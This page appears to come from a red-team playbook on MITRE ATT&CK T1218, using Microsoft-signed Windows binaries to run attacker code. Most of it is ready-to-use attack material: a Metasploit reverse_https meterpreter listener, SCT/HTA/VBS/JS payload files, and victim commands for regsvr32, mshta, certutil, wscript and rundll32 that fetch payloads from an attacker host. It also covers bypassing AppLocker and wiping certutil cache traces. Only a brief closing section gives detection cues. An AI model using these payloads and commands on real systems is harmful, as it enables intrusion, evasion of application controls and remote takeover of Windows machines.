Skip to main content

T1218: Signed Binary Proxy Execution

Covers: T1218.010 - Regsvr32, T1218.005 - Mshta, T1218.011 - Rundll32, T1105/T1140 - Certutil, T1216 - Wscript/Cscript


Technique Requirements​

Privileges RequiredUser (most methods) / Administrator (some DLL-based methods)
Effective PermissionsContext of the invoking user
Employment Complexity2/5 - Low
Detection Complexity3/5 - Medium

Background​

Signed Binary Proxy Execution uses trusted, Microsoft-signed Windows binaries to execute attacker-controlled code. Because these binaries are signed by Microsoft, they are inherently trusted by:

  • Application whitelisting (AppLocker, WDAC) - policies often allowlist by publisher, so any Microsoft-signed binary passes
  • Antivirus and EDR - the executing process (regsvr32.exe, mshta.exe, etc.) is a known-good binary; suspicion must fall on behavior rather than the binary itself
  • Firewall rules - some solutions permit outbound connections from known system binaries

The attacker's malicious code (a script, DLL, or command) runs inside or launched by the trusted process, inheriting its reputation.

Why this matters operationally: These techniques are most useful in the following scenarios:

ScenarioBest Method
AppLocker blocks PowerShell in Constrained Language Moderegsvr32 SCT, mshta HTA, wscript VBS
Need to download a file without PowerShell WebClientcertutil -urlcache
Need to encode/obfuscate a payload for transfercertutil -encode / -decode
AV flags your PS cradle by signatureWrap it via mshta inline VBScript or wscript
Need execution that doesn't spawn powershell.exeregsvr32 JScript, rundll32 JS, mshta VBScript

Important: Many of these techniques are well-known and monitored. Their value is in bypassing preventive controls (AppLocker, whitelisting), not in evading mature EDR products. Assume that regsvr32 making an outbound HTTP connection, or mshta spawning a child process, will alert on any environment with decent detection. Use them when you need to get past application controls, not as a general-purpose stealth mechanism.


Method 1: regsvr32.exe - Remote Scriptlet Execution (Squiblydoo)​

ATT&CK: T1218.010 LOL binary: regsvr32.exe Privileges required: User Why it works: regsvr32 was designed to register/unregister COM DLLs. The /i flag passes an installation parameter to a DLL's DllInstall function. When scrobj.dll (the Windows Script Component runtime, present on every Windows install) is the target DLL, the /i parameter is treated as a URL to a .sct (scriptlet) file, which scrobj.dll downloads and executes. regsvr32 itself makes the network connection, so the outbound HTTP request originates from a signed Microsoft binary.

Setup (on Kali)​

  1. Configure a Metasploit listener:

    msfconsole -x "use exploit/multi/script/web_delivery;
    set SRVHOST 0.0.0.0;
    set SRVPORT 8443;
    set SSL true;
    set target 2;
    set payload windows/x64/meterpreter/reverse_https;
    set LHOST 0.0.0.0;
    set LPORT 443;
    run -j;"

    Copy the generated PowerShell one-liner and clean it up (replace 0.0.0.0 with your IP, swap quote styles). This becomes <PS_CRADLE> below.

  2. Create the SCT scriptlet file:

    cat > /var/www/html/payload.sct << 'EOF'
    <?XML version="1.0"?>
    <scriptlet>
    <registration
    progid="ShortcutNotification"
    classid="{AAAA0000-0000-0000-0000-0000FEEDACDC}">
    <script language="JScript">
    <![CDATA[
    var r = new ActiveXObject("WScript.Shell").Run(
    "powershell -nop -w 1 -c <PS_CRADLE>", 0, false
    );
    ]]>
    </script>
    </registration>
    </scriptlet>
    EOF

    Replace <PS_CRADLE> with your cleaned-up Metasploit PowerShell command. Special characters inside the CDATA block do not need escaping beyond XML's own rules - avoid using & or < directly in the command string; use encoded equivalents or restructure the command if needed.

  3. Serve the file:

    # Apache (if running):
    # File is already in /var/www/html/

    # Or simple Python server:
    python3 -m http.server 80

Execution (on victim)​

regsvr32 /s /n /u /i:http://<ATTACKER_IP>/payload.sct scrobj.dll
FlagMeaning
/sSilent - suppress success/failure dialog boxes
/nDo not call DllRegisterServer
/uUnregister mode (passes control to DllUninstall / DllInstall)
/i:<URL>Parameter passed to DllInstall - the scriptlet URL

Over HTTPS (preferred - hides scriptlet content from network monitoring):

regsvr32 /s /n /u /i:https://<ATTACKER_IP>/payload.sct scrobj.dll

Method 2: mshta.exe - HTML Application Execution​

ATT&CK: T1218.005 LOL binary: mshta.exe Privileges required: User Why it works: mshta.exe (Microsoft HTML Application Host) is designed to run .hta files - standalone HTML applications with access to the full Windows Script Host object model. Unlike browser-rendered HTML, HTA files run outside the browser security sandbox with the full privileges of the invoking user. mshta accepts both file paths and URLs as arguments.

Option A: Remote HTA File​

  1. Create the HTA payload on Kali:

    cat > /var/www/html/payload.hta << 'EOF'
    <html>
    <head>
    <script language="VBScript">
    Set objShell = CreateObject("WScript.Shell")
    objShell.Run "powershell -nop -w 1 -c <PS_CRADLE>", 0, True
    window.close()
    </script>
    </head>
    <body></body>
    </html>
    EOF
  2. Execute on victim:

    mshta http://<ATTACKER_IP>/payload.hta

Option B: Inline VBScript (no file needed)​

Execute entirely in-memory with no file hosted:

mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -nop -w 1 -c <PS_CRADLE>"",0,True:close")
note

Inner quotes inside the vbscript: argument must be doubled ("") to escape them within the VBScript string context. If your PS cradle contains double quotes, base64-encode it first and use -EncodedCommand to avoid quoting issues:

# On Kali - pre-encode the cradle:
echo -n '<PS_CRADLE>' | iconv -t UTF-16LE | base64 -w 0
# Paste the output as <B64_ENCODED_CRADLE> below
mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -nop -w 1 -ec <B64_ENCODED_CRADLE>"",0,True:close")

Method 3: certutil.exe - File Download and Payload Encoding​

ATT&CK: T1105 (Ingress Tool Transfer), T1140 (Deobfuscate/Decode) LOL binary: certutil.exe Privileges required: User Why it works: certutil is the Windows certificate management utility. It includes URL caching functionality (-urlcache) for fetching certificate revocation lists - functionality that can be abused to download arbitrary files. It also supports base64 encoding and decoding natively, which is useful for transferring binaries through channels that only accept text.

Downloading a File​

certutil -urlcache -split -f http://<ATTACKER_IP>:8080/payload.exe C:\Windows\Temp\payload.exe
FlagMeaning
-urlcacheOperate on the URL cache
-splitSplit embedded ASN.1 elements and save to files
-fForce fetch, bypassing the cache
note

certutil leaves entries in the URL cache at %APPDATA%\Microsoft\CryptnetUrlCache\. Clean up after use:

certutil -urlcache -split -f http://<ATTACKER_IP>:8080/payload.exe delete

Or clear the entire URL cache:

certutil -urlcache * delete

Encoding a Payload for Transfer (bypass content inspection)​

If a transfer channel strips or blocks binary content, encode the payload as base64 first:

# On Kali - encode:
certutil -encode payload.exe payload.b64
# Or with base64 directly:
base64 payload.exe > payload.b64
# On victim - decode back to binary:
certutil -decode C:\Windows\Temp\payload.b64 C:\Windows\Temp\payload.exe

Chained Example: Download and Decode in Two Steps​

certutil -urlcache -split -f http://<ATTACKER_IP>:8080/payload.b64 C:\Windows\Temp\payload.b64
certutil -decode C:\Windows\Temp\payload.b64 C:\Windows\Temp\payload.exe
C:\Windows\Temp\payload.exe

Method 4: wscript.exe / cscript.exe - Script File Execution​

ATT&CK: T1216 LOL binaries: wscript.exe (GUI host), cscript.exe (console host) Privileges required: User Why it works: The Windows Script Host processes execute VBScript (.vbs) and JScript (.js) files natively. They accept both local file paths and UNC paths as arguments, meaning the script file can be hosted on an attacker-controlled SMB share and never land on the victim's local filesystem.

VBScript Payload​

  1. Create the script on Kali:

    cat > payload.vbs << 'EOF'
    Set objShell = CreateObject("WScript.Shell")
    objShell.Run "powershell -nop -w 1 -c <PS_CRADLE>", 0, False
    EOF
  2. Execute - from local file:

    wscript.exe C:\Windows\Temp\payload.vbs
    # Silent (suppress WSH error dialogs):
    wscript.exe //B C:\Windows\Temp\payload.vbs
  3. Execute - directly from a UNC path (file never touches victim disk):

    note

    This requires the victim to have network access to your SMB share. If you have an existing authenticated SMB session (net use) established from the lateral movement phase, you can reuse it here.

    # On Kali - start a quick Impacket SMB share:
    impacket-smbserver share /tmp/payloads -smb2support
    # On victim:
    wscript.exe \\<ATTACKER_IP>\share\payload.vbs

JScript Payload​

cat > payload.js << 'EOF'
var objShell = new ActiveXObject("WScript.Shell");
objShell.Run("powershell -nop -w 1 -c <PS_CRADLE>", 0, false);
EOF
wscript.exe C:\Windows\Temp\payload.js

Method 5: rundll32.exe - Inline JavaScript Execution​

ATT&CK: T1218.011 LOL binary: rundll32.exe Privileges required: User Why it works: rundll32 can invoke the RunHTMLApplication export of mshtml.dll, which initialises an HTA execution context inline. A JavaScript url: protocol handler can then be passed directly on the command line, executing arbitrary script without any file on disk.

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -w 1 -c <PS_CRADLE>",0,true);
note

URL-encode spaces as %20 within the javascript: URI. The document.write() call initializes the HTA document context; omitting it causes the script engine to fail silently on some Windows versions. This technique may not work on Windows 11 22H2+ where mshtml is not loaded by default on systems without Internet Explorer.


Comparison and Selection Guide​

MethodFile on DiskNetwork ConnectionSpawns powershell.exe?AppLocker BypassNotes
regsvr32 SCTNo (remote SCT)Yes - regsvr32 β†’ HTTPYes (child)YesVery well-known; high detection rate on mature EDR
mshta remote HTANoYes - mshta β†’ HTTPYes (child)YesCommonly blocked in enterprise environments
mshta inline VBScriptNoNoYes (child)YesNo network call; more evasive
certutil downloadYesYes - certutil β†’ HTTPNoN/A - used for staging onlyLeaves URL cache entries; clean up
wscript local fileYesNoYes (child)Depends on policySimple; less monitored than regsvr32/mshta
wscript UNC pathNo (SMB share)Yes - SMBYes (child)YesRequires SMB reachability to attacker
rundll32 inline JSNoNoYes (child)YesFragile on newer Windows versions

General guidance:

  • If you need to bypass AppLocker and have network access to your listener: regsvr32 or mshta remote
  • If you need to avoid a network call for the execution itself: mshta inline or wscript/rundll32 after staging the PS cradle via certutil
  • If you just need to move a binary to the target without WebClient: certutil -urlcache
  • If powershell.exe itself is blocked or heavily monitored: chain certutil download β†’ execute the binary directly, bypassing PS entirely

What to Expect​

Each method ultimately executes your PowerShell cradle (or a binary payload), which beacons back to your listener. The session arrives as normal:

msf6 exploit(multi/handler) > [*] Sending stage (201798 bytes) to 192.168.1.100
[*] Meterpreter session 2 opened (0.0.0.0:443 -> 192.168.1.100:52017) at 2026-03-21 15:44:09

The key observable difference from a direct powershell.exe invocation is the process tree. In a normal execution your shell spawns powershell.exe directly. With signed binary proxy execution, the tree looks like:

explorer.exe
└── regsvr32.exe ← signed Microsoft binary
└── powershell.exe ← your cradle
└── [shellcode injected, no child process]

Or for mshta:

explorer.exe
└── mshta.exe ← signed Microsoft binary
└── powershell.exe ← your cradle

This parent-child relationship is still detectable by EDR (spawning powershell.exe from mshta.exe or regsvr32.exe is a high-fidelity detection rule in most products), but it bypasses preventive controls that only look at the binary being executed, not its lineage.


Log Detection​

  • Source: Microsoft-Windows-Sysmon/Operational
    • EventID:1 (ProcessCreate)
      • regsvr32.exe with /i:http in command line
      • mshta.exe with a URL argument or vbscript: prefix
      • certutil.exe with -urlcache or -decode arguments
      • wscript.exe or cscript.exe with .vbs/.js arguments, especially UNC paths
      • rundll32.exe with javascript: in command line
      • Any of the above spawning powershell.exe as a child process
    • EventID:3 (NetworkConnect)
      • Outbound HTTP/HTTPS connections from regsvr32.exe, mshta.exe, or certutil.exe - these binaries have no legitimate reason to make outbound connections in most enterprise environments
    • EventID:7 (ImageLoad)
      • scrobj.dll loaded by regsvr32.exe
      • jscript.dll or vbscript.dll loaded by rundll32.exe
  • Source: Security
    • EventID:4688 (Process creation - with command line auditing)
      • Same patterns as Sysmon EventID 1 above